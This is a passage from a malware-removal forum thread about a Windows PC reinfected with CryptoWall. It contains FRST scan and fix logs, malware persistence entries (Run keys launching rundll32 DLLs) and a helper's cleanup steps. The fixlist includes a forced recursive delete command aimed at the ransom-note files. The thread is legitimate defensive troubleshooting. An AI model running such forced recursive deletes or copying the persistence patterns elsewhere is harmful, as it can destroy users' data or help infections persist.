2015-03-08 15:21 - 2015-03-10 20:14 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2015-03-08 14:57 - 2015-03-08 15:17 - 00805792 _____ () C:\Users\Tim\Desktop\ListCWall.txt
2015-03-08 14:55 - 2015-03-08 14:57 - 00452424 _____ (Bleeping Computer, LLC) C:\Users\Tim\Downloads\ListCWall.exe
2015-03-07 15:18 - 2015-03-07 15:23 - 00509440 _____ (Tech Support Guy System) C:\Users\Tim\Downloads\SysInfo.exe
2015-03-07 14:30 - 2015-03-10 19:20 - 00000000 ____D () C:\Users\Tim\Downloads\FRST-OlderVersion
2015-03-07 13:59 - 2015-03-10 19:11 - 00025600 _____ () C:\Users\Tim\Downloads\Shortcut.txt
2015-03-07 13:59 - 2015-03-10 19:11 - 00017136 _____ () C:\Users\Tim\Downloads\Addition.txt
2015-03-07 13:58 - 2015-03-10 22:25 - 00008675 _____ () C:\Users\Tim\Downloads\FRST.txt
2015-03-07 12:48 - 2015-03-10 22:25 - 00000000 ____D () C:\FRST
2015-03-07 02:07 - 2015-03-10 19:10 - 01134592 _____ (Farbar) C:\Users\Tim\Downloads\FRST.exe
2015-03-06 23:36 - 2015-03-06 23:36 - 00019984 _____ () C:\Windows\system32\Drivers\EsgScanner.sys
2015-03-06 22:59 - 2015-03-06 23:00 - 00018944 ___SH () C:\Users\Tim\Thumbs.db
2015-03-06 16:15 - 2015-03-06 16:16 - 00000000 ____D () C:\Program Files\Mozilla Firefox
2015-03-05 20:07 - 2015-03-10 22:12 - 00000000 ___HD () C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\Users\Public\Desktop\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\Program Files\graphic eq
2015-03-05 15:11 - 2015-03-05 15:24 - 08774480 _____ (Pantaray Research Ltd.) C:\Users\Tim\Downloads\EQDemo64.exe
2015-03-05 14:41 - 2015-03-05 14:42 - 01265198 _____ () C:\Users\Tim\Downloads\EqualizerAPO32-0.7.exe
2015-03-05 14:31 - 2015-03-05 14:34 - 01657594 _____ () C:\Users\Tim\Downloads\EqualizerAPO64-0.9.1.exe
2015-03-03 20:03 - 2015-03-03 20:03 - 00018944 ___SH () C:\Users\Tim\AppData\Thumbs.db
2015-03-02 15:41 - 2015-03-02 15:57 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Local Store
2015-03-02 14:41 - 2015-03-06 22:57 - 00000000 ____D () C:\Program Files\Enigma Software Group
2015-03-02 14:38 - 2015-03-02 14:40 - 03044736 _____ (Enigma Software Group USA, LLC.) C:\Users\Tim\Downloads\SpyHunter-Installer.exe
2015-03-02 13:52 - 2015-03-02 13:52 - 00017801 _____ (Meetinghouse Data Communications) C:\Windows\system32\Drivers\AegisP.sys
2015-03-02 13:52 - 2015-03-02 13:52 - 00001228 _____ () C:\Users\Public\Desktop\Belkin Wireless Utility.lnk
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Belkin
2015-03-02 13:52 - 2005-06-01 23:37 - 00463872 _____ (Belkin Corporation.) C:\Windows\system32\Drivers\BLKWGD.sys
2015-02-27 19:24 - 2015-02-27 19:24 - 02160179 _____ () C:\Users\Tim\Documents\Comedy.wma
2015-02-23 14:19 - 2015-03-02 14:02 - 00000000 ___HD () C:\Program Files\InstallShield Installation Information
2015-02-23 14:19 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Common Files\InstallShield
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Linksys
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Funk Software
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Common Files\Funk Software
2015-02-23 13:54 - 2015-02-23 13:52 - 01887656 _____ () C:\Users\Tim\Desktop\F5D7230-4-V3.00.05.bin
2015-02-23 13:54 - 2015-02-23 13:52 - 01674172 _____ () C:\Users\Tim\Desktop\BELKIN_AP_2.00.04.bin
2015-02-23 13:44 - 2015-02-23 13:43 - 02097152 _____ () C:\Users\Tim\Desktop\f5d7230-4_us_9.00.02.bin
2015-02-23 13:20 - 2015-02-23 13:20 - 00000000 ____D () C:\Windows\Cache
2015-02-17 22:30 - 2015-03-08 22:25 - 00000000 ____D () C:\Linksys Driver

==================== One Month Modified Files and Folders =======

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-10 22:19 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2015-03-10 22:19 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2015-03-10 22:18 - 2011-10-16 17:38 - 00713888 _____ () C:\Windows\system32\PerfStringBackup.INI
2015-03-10 22:12 - 2009-07-14 00:53 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2015-03-10 22:12 - 2009-07-14 00:39 - 00025856 _____ () C:\Windows\setupact.log
2015-03-10 22:11 - 2014-03-17 19:14 - 00046150 _____ () C:\Windows\PFRO.log
2015-03-10 22:00 - 2012-09-05 13:06 - 00000830 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-03-10 19:20 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Mozilla
2015-03-10 19:20 - 2014-04-21 20:11 - 00000000 ____D () C:\ProgramData\InstallMate
2015-03-10 19:20 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator
2015-03-10 19:20 - 2014-02-23 19:51 - 00000000 ____D () C:\ProgramData\Apple Computer
2015-03-10 19:20 - 2014-02-23 19:51 - 00000000 ____D () C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1
2015-03-10 19:20 - 2011-10-16 17:30 - 00000000 ____D () C:\Users\Tim
2015-03-08 22:34 - 2014-04-15 21:59 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\BitTorrent
2015-03-08 22:34 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle
2015-03-08 22:34 - 2011-10-23 23:48 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Adobe
2015-03-08 22:33 - 2012-10-31 21:47 - 00000000 ____D () C:\Users\Tim\AppData\Local\Microsoft Games
2015-03-08 22:29 - 2014-08-10 00:42 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\G001
2015-03-08 22:29 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Local\Apple Computer
2015-03-08 22:28 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Local\Mozilla
2015-03-08 21:07 - 2014-08-08 18:15 - 00000000 ____D () C:\ProgramData\AswoDnix
2015-03-08 21:05 - 2014-08-15 21:01 - 00000000 ____D () C:\ProgramData\IpsuVpak
2015-03-08 21:05 - 2014-08-15 20:35 - 00000000 ____D () C:\ProgramData\OrbiBesd
2015-03-08 21:05 - 2014-08-10 00:31 - 00000000 ____D () C:\ProgramData\IsruYacr
2015-03-08 21:05 - 2014-08-07 18:36 - 00000000 ____D () C:\ProgramData\EbvuDogn
2015-03-08 19:36 - 2009-07-13 22:37 - 00000000 ____D () C:\Windows\system32\NDF
2015-03-07 14:23 - 2009-07-14 00:53 - 00032542 _____ () C:\Windows\Tasks\SCHEDLGU.TXT
2015-03-06 22:38 - 2011-10-16 17:31 - 01547097 _____ () C:\Windows\WindowsUpdate.log
2015-03-06 16:42 - 2014-05-15 20:24 - 00000000 ____D () C:\Program Files\Mozilla Maintenance Service
2015-03-05 14:46 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Apple Computer
2015-03-03 16:15 - 2012-09-05 13:06 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2015-03-03 16:15 - 2011-10-23 23:48 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl
2015-03-02 14:41 - 2014-03-12 17:39 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
2015-03-02 14:41 - 2014-03-12 17:39 - 00000000 ____D () C:\Program Files\Common Files\Adobe
2015-03-02 13:52 - 2011-10-16 17:33 - 00000000 ____D () C:\Windows\Downloaded Installations
2015-03-02 13:52 - 2005-03-14 16:19 - 00000308 _____ () C:\Windows\system32\results.txt

==================== Files in the root of some directories =======

2015-03-10 19:12 - 2015-03-10 19:12 - 0132096 _____ () C:\Users\Tim\AppData\Roaming\55555e81.exe
2014-09-14 20:12 - 2014-09-14 20:12 - 0252240 _____ (Microsoft Corporation) C:\Users\Tim\AppData\Roaming\BtvStack.dll
2015-03-10 19:20 - 2015-03-10 19:20 - 0008706 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 0045931 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.PNG
2015-03-10 19:20 - 2015-03-10 19:20 - 0004296 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 0000304 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.URL
2015-03-10 19:12 - 2015-03-10 19:12 - 0000480 ____H () C:\Users\Tim\AppData\Roaming\麽鎒駓覜
2015-03-10 19:20 - 2015-03-10 19:20 - 0008706 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 0045931 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.PNG
2015-03-10 19:20 - 2015-03-10 19:20 - 0004296 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 0000304 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.URL
2015-03-10 20:12 - 2015-03-10 20:12 - 0023552 _____ () C:\Users\Tim\AppData\Local\jtunomw.dll
2015-03-10 20:13 - 2015-03-10 22:12 - 0000153 _____ () C:\Users\Tim\AppData\Local\svcxdcl32.dat
2015-03-10 20:13 - 2015-03-10 20:13 - 0134144 _____ (QuickReattemptSketch PreparationSquatterProcreation) C:\Users\Tim\AppData\Local\svcxdcl32.exe
2015-03-10 19:13 - 2015-03-10 19:13 - 0000664 ____H () C:\ProgramData\@system.temp
2015-03-10 19:13 - 2015-03-10 19:13 - 0000400 ____H () C:\ProgramData\@system3.att
2015-03-10 19:20 - 2015-03-10 19:20 - 0008706 _____ () C:\ProgramData\HELP_DECRYPT.HTML
2015-03-10 19:20 - 2015-03-10 19:20 - 0045931 _____ () C:\ProgramData\HELP_DECRYPT.PNG
2015-03-10 19:20 - 2015-03-10 19:20 - 0004296 _____ () C:\ProgramData\HELP_DECRYPT.TXT
2015-03-10 19:20 - 2015-03-10 19:20 - 0000304 _____ () C:\ProgramData\HELP_DECRYPT.URL

Some content of TEMP:
====================
C:\Users\Tim\AppData\Local\Temp\defrag.exe

==================== Bamital & volsnap Check =================

(There is no automatic fix for files that do not pass verification.)

C:\Windows\explorer.exe => File is digitally signed
C:\Windows\system32\winlogon.exe => File is digitally signed
C:\Windows\system32\wininit.exe => File is digitally signed
C:\Windows\system32\svchost.exe => File is digitally signed
C:\Windows\system32\services.exe
[2009-07-13 19:11] - [2014-08-04 19:40] - 0264192 ____A (Microsoft Corporation) 0EAA9484A9DEC81C45559912309EAA8F

C:\Windows\system32\User32.dll => File is digitally signed
C:\Windows\system32\userinit.exe => File is digitally signed
C:\Windows\system32\rpcss.dll => File is digitally signed
C:\Windows\system32\Drivers\volsnap.sys => File is digitally signed

LastRegBack: 2015-03-05 16:34

==================== End Of Log ============================


----------



## timmy12342 (Mar 7, 2015)

Cryptowall is back on my computer


----------



## JSntgRvr (Jul 1, 2003)

*Step 1*
Please download the enclosed file. (see below) and save it in the same directory as *FRST*.

Start *FRST* with Administrator privileges.
Press the *Fix* button.
When finished, a log file (*Fixlog.txt*) pops up and is saved to the same location the tool was run from.
Please copy and paste its contents in your next reply.

*Step 2*
Type the following in the edit box on FRST, after "Search:".

*services.exe*

It then should look like:

*Search: services.exe*

Click *Search Files* button and post the log (*Search.txt*) it will produce in the same location FRST is saved, in your next reply.

*Step 3*
Re-scan with FRST and post the *FRST.txt* log.

*Step 4*

Run the ESET Online Scanner.
Hold down Control and click on this link to open ESET OnlineScan in a new window.
Click the







button.
For alternate browsers only: (Microsoft Internet Explorer users can skip these steps)
Click on esetsmartinstaller_enu.exe to download the ESET Smart Installer. *Save* it to your desktop.
Double click on the







icon on your desktop.
Check _"YES, I accept the Terms of Use."_
Click the *Start* button.
Accept any security warnings from your browser.
Under *scan settings*, check _"Scan Archives"_ and _"Remove found threats" _
ESET will then download updates for itself, install itself, and begin scanning your computer. Please be patient as this can take some time.
When the scan completes, click *List Threats*
Click *Export*, and save the file to your desktop using a unique name, such as ESETScan. Include the contents of this report in your next reply.
Click the *Back* button.
Click the *Finish* button.
*NOTE:*Sometimes if ESET finds no infections it will not create a log.


----------



## timmy12342 (Mar 7, 2015)

Fix result of Farbar Recovery Tool (FRST written by Farbar) (x86) Version: 11-03-2015
Ran by Tim at 2015-03-11 17:17:24 Run:6
Running from C:\Users\Tim\Downloads
Loaded Profiles: Tim (Available profiles: Tim)
Boot Mode: Normal

==============================================

Content of fixlist:
*****************
Start
CloseProcesses:
Hosts:
HKLM\...\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => "C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe"
Winlogon\Notify\jtunomw: C:\Users\Tim\AppData\Local\jtunomw.dll ()
HKLM\...\Policies\Explorer\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => "C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe" No File
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [55555e8] => C:\55555e81\55555e81.exe [132096 2015-03-10] ()
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [55555e81] => C:\Users\Tim\AppData\Roaming\55555e81.exe [132096 2015-03-10] ()
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [jtunomw] => rundll32 "C:\Users\Tim\AppData\Local\jtunomw.dll",jtunomw <===== ATTENTION
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [Svc2dll] => C:\Users\Tim\AppData\Local\svcxdcl32.exe [134144 2015-03-10] (QuickReattemptSketch PreparationSquatterProcreation)
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [BluetoothS] => rundll32.exe "%appdata%\BtvStack.dll",BTHF_Register
C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}
C:\Users\Tim\AppData\Local\jtunomw.dll
C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}
C:\55555e81\55555e81.exe
C:\Users\Tim\AppData\Local\jtunomw.dll
C:\Users\Tim\AppData\Local\svcxdcl32.exe
C:\Users\Tim\AppData\BtvStack.dll
Startup: C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\55555e81.exe ()
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> URL http://search.conduit.com/Results.a...tid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM= 4&UP=SP15BE49DC-0845-49C5-BF5C-5190268C75F4&q={searchTerms}&SSPV=SE1CG2_sp_ie
S2 SystemUpdate; C:\Windows\FrameworkUpdate\Update.exe [15798968 2015-03-10] (Google Inc.) [File not signed]
C:\ProgramData\@system.temp
C:\ProgramData\@system3.att
C:\Users\Tim\AppData\Roaming\麽鎒駓覜
C:\55555e81
C:\Windows\LaRnaefG.exe
C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}
CMD: DEL /Q /F /S C:\HELP_DECRYPT*
EmptyTemp:
End
*****************

Processes closed successfully.
C:\Windows\System32\Drivers\etc\hosts => Moved successfully.
Hosts was reset successfully.
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524} => value deleted successfully.
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\jtunomw" => Key deleted successfully.
HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524} => value deleted successfully.
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Windows\CurrentVersion\Run\\55555e8 => Value not found.
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Windows\CurrentVersion\Run\\55555e81 => Value not found.
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Windows\CurrentVersion\Run\\jtunomw => value deleted successfully.
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Windows\CurrentVersion\Run\\Svc2dll => value deleted successfully.
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Windows\CurrentVersion\Run\\BluetoothS => value deleted successfully.
"C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}" => File/Directory not found.
C:\Users\Tim\AppData\Local\jtunomw.dll => Moved successfully.
"C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}" => File/Directory not found.
"C:\55555e81\55555e81.exe" => File/Directory not found.
"C:\Users\Tim\AppData\Local\jtunomw.dll" => File/Directory not found.
C:\Users\Tim\AppData\Local\svcxdcl32.exe => Moved successfully.
"C:\Users\Tim\AppData\BtvStack.dll" => File/Directory not found.
C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\55555e81.exe not found.
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\\URL http://search.conduit.com/Results.a...tid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM= => Value not found.
SystemUpdate => Service deleted successfully.
C:\ProgramData\@system.temp => Moved successfully.
C:\ProgramData\@system3.att => Moved successfully.
C:\Users\Tim\AppData\Roaming\麽鎒駓覜 => Moved successfully.
"C:\55555e81" => File/Directory not found.
C:\Windows\LaRnaefG.exe => Moved successfully.

"C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}" directory move:

Could not move "C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}" directory. => Scheduled to move on reboot.

========= DEL /Q /F /S C:\HELP_DECRYPT* =========

Deleted file - C:\HELP_DECRYPT.HTML
Deleted file - C:\HELP_DECRYPT.PNG.ecc
Deleted file - C:\HELP_DECRYPT.TXT.ecc
Deleted file - C:\HELP_DECRYPT.URL
Deleted file - C:\AdwCleaner\HELP_DECRYPT.HTML
Deleted file - C:\AdwCleaner\HELP_DECRYPT.PNG.ecc
Deleted file - C:\AdwCleaner\HELP_DECRYPT.TXT.ecc
Deleted file - C:\AdwCleaner\HELP_DECRYPT.URL
Deleted file - C:\AdwCleaner\Quarantine\HELP_DECRYPT.HTML
Deleted file - C:\AdwCleaner\Quarantine\HELP_DECRYPT.PNG.ecc
Deleted file - C:\AdwCleaner\Quarantine\HELP_DECRYPT.TXT.ecc
Deleted file - C:\AdwCleaner\Quarantine\HELP_DECRYPT.URL
Deleted file - C:\FRST\HELP_DECRYPT.HTML
Deleted file - C:\FRST\HELP_DECRYPT.PNG.ecc
Deleted file - C:\FRST\HELP_DECRYPT.TXT.ecc
Deleted file - C:\FRST\HELP_DECRYPT.URL
Deleted file - C:\FRST\Logs\HELP_DECRYPT.HTML
Deleted file - C:\FRST\Logs\HELP_DECRYPT.PNG.ecc
Deleted file - C:\FRST\Logs\HELP_DECRYPT.TXT.ecc
Deleted file - C:\FRST\Logs\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1\x86\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1\x86\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1\x86\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\188F1432-103A-4ffb-80F1-36B633C5C9E1\x86\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\Apple Computer\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\Apple Computer\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\Apple Computer\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\Apple Computer\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\Apple Computer\iTunes\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\Apple Computer\iTunes\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\Apple Computer\iTunes\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\Apple Computer\iTunes\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\Apple Computer\iTunes\SC Info\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\Apple Computer\iTunes\SC Info\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\Apple Computer\iTunes\SC Info\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\Apple Computer\iTunes\SC Info\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\InstallMate\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\InstallMate\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\InstallMate\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\InstallMate\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\InstallMate\{3327EC37-0D11-4E4D-ACA6-4533E8C4CEC1}\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\InstallMate\{3327EC37-0D11-4E4D-ACA6-4533E8C4CEC1}\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\InstallMate\{3327EC37-0D11-4E4D-ACA6-4533E8C4CEC1}\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\InstallMate\{3327EC37-0D11-4E4D-ACA6-4533E8C4CEC1}\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\InstallMate\{3D7D2236-3425-4039-A2D2-7C07E69E00C0}\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\InstallMate\{3D7D2236-3425-4039-A2D2-7C07E69E00C0}\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\InstallMate\{3D7D2236-3425-4039-A2D2-7C07E69E00C0}\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\InstallMate\{3D7D2236-3425-4039-A2D2-7C07E69E00C0}\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\Microsoft\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\Microsoft\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\Microsoft\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\Microsoft\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\Microsoft\eHome\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\Microsoft\eHome\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\Microsoft\eHome\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\Microsoft\eHome\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\Microsoft\RAC\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\Microsoft\RAC\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\Microsoft\RAC\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\Microsoft\RAC\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\Microsoft\RAC\PublishedData\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\Microsoft\RAC\PublishedData\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\Microsoft\RAC\PublishedData\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\Microsoft\RAC\PublishedData\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\Microsoft\RAC\StateData\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\Microsoft\RAC\StateData\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\Microsoft\RAC\StateData\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\Microsoft\RAC\StateData\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\NortonInstaller\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\NortonInstaller\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\NortonInstaller\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\NortonInstaller\HELP_DECRYPT.URL
Deleted file - C:\ProgramData\NortonInstaller\Logs\HELP_DECRYPT.HTML
Deleted file - C:\ProgramData\NortonInstaller\Logs\HELP_DECRYPT.PNG.ecc
Deleted file - C:\ProgramData\NortonInstaller\Logs\HELP_DECRYPT.TXT.ecc
Deleted file - C:\ProgramData\NortonInstaller\Logs\HELP_DECRYPT.URL
Deleted file - C:\Users\HELP_DECRYPT.HTML
Deleted file - C:\Users\HELP_DECRYPT.PNG.ecc
Deleted file - C:\Users\HELP_DECRYPT.TXT.ecc
Deleted file - C:\Users\HELP_DECRYPT.URL
Deleted file - C:\Users\Tim\HELP_DECRYPT.HTML
Deleted file - C:\Users\Tim\HELP_DECRYPT.PNG
Deleted file - C:\Users\Tim\HELP_DECRYPT.TXT
Deleted file - C:\Users\Tim\HELP_DECRYPT.URL
Deleted file - C:\Users\Tim\AppData\HELP_DECRYPT.HTML
Deleted file - C:\Users\Tim\AppData\HELP_DECRYPT.PNG.ecc
Deleted file - C:\Users\Tim\AppData\HELP_DECRYPT.TXT.ecc
Deleted file - C:\Users\Tim\AppData\HELP_DECRYPT.URL
Deleted file - C:\Users\Tim\AppData\Local\HELP_DECRYPT.HTML
Deleted file - C:\Users\Tim\AppData\Local\HELP_DECRYPT.PNG.ecc
Deleted file - C:\Users\Tim\AppData\Local\HELP_DECRYPT.TXT.ecc
Deleted file - C:\Users\Tim\AppData\Local\HELP_DECRYPT.URL
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\HELP_DECRYPT.HTML
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\HELP_DECRYPT.PNG.ecc
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\HELP_DECRYPT.TXT.ecc
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\HELP_DECRYPT.URL
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\HELP_DECRYPT.HTML
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\HELP_DECRYPT.PNG.ecc
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\HELP_DECRYPT.TXT.ecc
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\HELP_DECRYPT.URL
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\HELP_DECRYPT.HTML
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\HELP_DECRYPT.PNG.ecc
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\HELP_DECRYPT.TXT.ecc
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\HELP_DECRYPT.URL
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\HELP_DECRYPT.HTML
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\HELP_DECRYPT.PNG.ecc
Deleted file - C:\Users\Tim\AppData\Local\Microsoft\Media Player\Art Cache\LocalMLS\HELP_DECRYPT.TXT.ecc
